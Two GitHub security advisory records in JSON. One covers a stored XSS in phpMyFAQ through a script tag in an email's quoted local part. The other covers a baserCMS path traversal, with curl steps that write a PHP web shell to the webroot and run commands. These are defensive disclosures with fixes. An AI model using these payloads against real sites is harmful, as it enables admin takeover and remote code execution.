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GHSA-98gw-w575-h2ph GHSA-c5c6-37vq-pjcq
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‎advisories/github-reviewed/2026/03/GHSA-98gw-w575-h2ph/GHSA-98gw-w575-h2ph.json‎

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{
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"schema_version": "1.4.0",
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"id": "GHSA-98gw-w575-h2ph",
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"modified": "2026-03-31T22:48:45Z",
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"published": "2026-03-31T22:48:45Z",
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"aliases": [
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"CVE-2026-32629"
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],
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"summary": "phpMyFAQ is Vulnerable to Stored XSS via Unsanitized Email Field in Admin FAQ Editor",
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"details": "### Summary\nAn unauthenticated attacker can submit a guest FAQ with an email address that is syntactically valid per RFC 5321 (quoted local part) yet contains raw HTML — for example \"<script>alert(1)</script>\"@evil.com. PHP's FILTER_VALIDATE_EMAIL accepts this email as valid. The email is stored in the database without HTML sanitization and later rendered in the admin FAQ editor template using Twig's |raw filter, which bypasses auto-escaping entirely.\n\n### Details\n1. PHP FILTER_VALIDATE_EMAIL accepts RFC-valid quoted local parts with dangerous characters\n\nphpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/FaqController.php:99\n$email = trim((string) Filter::filterVar($data->email, FILTER_VALIDATE_EMAIL));\nPHP accepts \"<script>alert(1)</script>\"@evil.com as a valid email (RFC 5321 allows <, > inside quoted local parts). Confirmed:\n\"<script>alert(1)</script>\"@evil.com => string (valid, not false)\n\n2. Email stored raw without HTML sanitization\n\nphpmyfaq/src/phpMyFAQ/Faq.php — email retrieved directly as $row->email from the database.\n\n3. Admin Twig template renders email with |raw\n\nphpmyfaq/assets/templates/admin/content/faq.editor.twig:296\n<input type=\"email\" name=\"email\" id=\"email\" value=\"{{ faqData['email'] | raw }}\" class=\"form-control\">\n\nAffected version: 4.2.0-alpha, commit f0dc86c8f\n\n\n### PoC\n**The reproduction of the vulnerability was implemented with the help of AI while reviewing the source code to generate the proof-of-concept. Please kindly note this for reference. Since the vulnerability has already been confirmed directly in the source code, the proof-of-concept code may be considered as a reference only.**\n\nPlease extract the attached compressed file and proceed.\n[poc.zip](https://github.com/user-attachments/files/25938058/poc.zip)\n\n\n0. (docker compose -f docker-compose.yml down -v)\n1. docker compose -f docker-compose.yml up -d mariadb php-fpm nginx\n2. bash exploit.sh\n-----\n1. Access http://localhost:8888/admin/\n2. Log in with admin / Admin1234!\n3. After logging in, check whether the URL remains http://localhost:8888/admin/\n4. Go to Content → FAQ Administration → edit \"poc\" → alert popup should appear\nIf it does not appear, you can also access it directly via:\nhttp://localhost:8888/admin/faq/edit/1/en\n\n\n<img width=\"1388\" height=\"239\" alt=\"스크린샷 2026-03-12 오후 11 42 52\" src=\"https://github.com/user-attachments/assets/b6d5446f-4eba-4cb2-9284-1bca4855142e\" />\n<img width=\"1171\" height=\"92\" alt=\"스크린샷 2026-03-12 오후 11 16 17\" src=\"https://github.com/user-attachments/assets/3578e429-7106-4616-92ed-4167816d40f0\" />\n\n\n### Impact\nWhen an administrator opens /admin/faq/edit/{id}/{lang} to review the pending FAQ, the injected script executes in the admin's browser context. This allows an attacker to:\n\n- Steal the administrator's session cookie → full admin account takeover\n- Perform arbitrary admin actions (create users, modify content, change configuration)\n- Pivot to further attacks on the server\n\nThe attack chain requires no authentication. By default, records.allowNewFaqsForGuests=true allows unauthenticated FAQ submission, and records.defaultActivation=false guarantees the administrator must visit the edit page to review it.\n\nNote on captcha: The built-in captcha is enabled by default when the PHP gd extension is present (spam.enableCaptchaCode=true). This prevents fully automated exploitation but does not prevent a targeted manual attack — an attacker can solve the captcha once and submit the payload. \n\n### Credits\nwooseokdotkim",
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"severity": [
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{
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"type": "CVSS_V4",
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"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:P"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "Packagist",
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"name": "thorsten/phpmyfaq"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "4.1.1"
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}
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]
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}
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],
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"database_specific": {
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"last_known_affected_version_range": "<= 4.1.0"
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}
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},
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{
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"package": {
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"ecosystem": "Packagist",
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"name": "phpmyfaq/phpmyfaq"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "4.1.1"
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}
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]
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}
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],
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"database_specific": {
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"last_known_affected_version_range": "<= 4.1.0"
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}
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-98gw-w575-h2ph"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/thorsten/phpMyFAQ"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-20",
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"CWE-79"
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],
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"severity": "MODERATE",
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"github_reviewed": true,
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"github_reviewed_at": "2026-03-31T22:48:45Z",
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"nvd_published_at": null
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}
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}

‎advisories/github-reviewed/2026/03/GHSA-c5c6-37vq-pjcq/GHSA-c5c6-37vq-pjcq.json‎

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{
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"schema_version": "1.4.0",
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"id": "GHSA-c5c6-37vq-pjcq",
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"modified": "2026-03-31T22:47:39Z",
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"published": "2026-03-31T22:47:39Z",
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"aliases": [
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"CVE-2026-30940"
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],
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"summary": "baserCMS Path Traversal Leads to Arbitrary File Write and RCE via Theme File API",
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"details": "## Summary\n\nA path traversal vulnerability exists in the baserCMS 5.x theme file management API (`/baser/api/admin/bc-theme-file/theme_files/add.json`) that allows arbitrary file write.\n\nAn authenticated administrator can include `../` sequences in the `path` parameter to create a PHP file in an arbitrary directory outside the theme directory, which may result in remote code execution (RCE).\n\n## Affected Code\n\n**File**: `plugins/bc-theme-file/src/Service/BcThemeFileService.php`\n\n```php\npublic function getFullpath(string $theme, string $plugin, string $type, string $path)\n{\n // ...\n return $viewPath . $type . DS . $path; // $path is not sanitized\n}\n```\n\n## Attack Scenario\n\n1. The attacker compromises an administrator account (password leak, brute force, etc.)\n2. Obtains an access token via API login\n3. Specifies `path: \"../../../../webroot/\"` in the theme file creation API\n4. A PHP file is created in the webroot\n5. The attacker accesses the created PHP file to achieve RCE\n\n## Reproduction Steps\n\n```bash\n# 1. Login\ncurl -X POST \"http://target/baser/api/admin/baser-core/users/login.json\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"email\":\"admin@example.com\",\"password\":\"password\"}'\n\n# 2. Create webshell\ncurl -X POST \"http://target/baser/api/admin/bc-theme-file/theme_files/add.json\" \\\n -H \"Authorization: Bearer <token>\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\n \"theme\": \"BcThemeSample\",\n \"plugin\": \"\",\n \"type\": \"layout\",\n \"path\": \"../../../../webroot/\",\n \"base_name\": \"shell\",\n \"ext\": \"php\",\n \"contents\": \"<?php system($_GET[\\\"cmd\\\"]); ?>\"\n }'\n\n# 3. RCE\ncurl \"http://target/shell.php?cmd=id\"\n```\n\n## Vulnerability Details\n\n| Item | Details |\n|------|---------|\n| CWE | CWE-22: Path Traversal, CWE-73: External Control of File Name or Path |\n| Impact | Arbitrary file write, Remote Code Execution (RCE) |\n| Attack Prerequisites | Administrator privileges + API enabled (`USE_CORE_ADMIN_API=true`), or chaining with XSS, etc. |\n| Reproducibility | High (PoC verified) |\n| Test Environment | baserCMS 5.x (Docker environment) |\n\n### Additional Notes on Attack Prerequisites\n\n- **When API is enabled** (`USE_CORE_ADMIN_API=true`): API calls can be made externally using JWT token authentication. Direct exploitation is possible.\n- **Default settings** (`USE_CORE_ADMIN_API=false`): Direct external API calls are prohibited. CSRF protection is also active, so this vulnerability alone cannot be exploited. An exploit chain involving XSS or similar is required.\n\n## Recommended Fix\n\nRather than relying on simple string replacement or blacklist checks of input, the canonicalized path (using `realpath()`, etc.) should be verified to be within the theme base directory after file creation or immediately before writing. If the path falls outside the boundary, the operation should be rejected.\n\nThe specific implementation location and method are left to the project's design decisions.\n\n## Comparison with Other CMS\n\nWordPress's theme editor only allows editing within `wp-content/themes/` and does not permit writes outside that directory. [CVE-2019-8943](https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/) was reported as a path traversal vulnerability in `wp_crop_image()` that allowed writing cropped image output to an arbitrary directory by including `../` in the filename.\n\nThis vulnerability is not a matter of \"administrators being able to execute arbitrary code\" by design, but rather stems from a security boundary violation where \"the theme editing function can write outside the theme directory (to webroot, config, etc.).\"\n\n## Resources\n\n- OWASP Path Traversal: <https://owasp.org/www-community/attacks/Path_Traversal>\n- WordPress RCE via Path Traversal (CVE-2019-8943): <https://www.sonarsource.com/blog/wordpress-image-remote-code-execution/>\n- Jira Path Traversal (CVE-2025-22167): <https://nvd.nist.gov/vuln/detail/CVE-2025-22167>\n\nThis advisory was translated from Japanese to English using GitHub Copilot.",
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"severity": [
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{
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"type": "CVSS_V3",
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"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
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}
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],
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"affected": [
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{
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"package": {
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"ecosystem": "Packagist",
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"name": "baserproject/basercms"
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},
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"ranges": [
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{
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"type": "ECOSYSTEM",
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"events": [
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{
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"introduced": "0"
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},
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{
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"fixed": "5.2.3"
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}
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]
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}
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],
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"database_specific": {
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"last_known_affected_version_range": "<= 5.2.2"
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}
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}
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],
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"references": [
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{
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"type": "WEB",
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"url": "https://github.com/baserproject/basercms/security/advisories/GHSA-c5c6-37vq-pjcq"
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},
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{
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"type": "ADVISORY",
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"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30940"
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},
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{
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"type": "WEB",
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"url": "https://basercms.net/security/JVN_20837860"
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},
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{
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"type": "PACKAGE",
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"url": "https://github.com/baserproject/basercms"
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},
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{
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"type": "WEB",
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"url": "https://github.com/baserproject/basercms/releases/tag/5.2.3"
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}
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],
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"database_specific": {
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"cwe_ids": [
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"CWE-22",
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"CWE-73"
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],
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"severity": "HIGH",
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"github_reviewed": true,
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"github_reviewed_at": "2026-03-31T22:47:39Z",
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"nvd_published_at": "2026-03-31T01:16:36Z"
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}
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}

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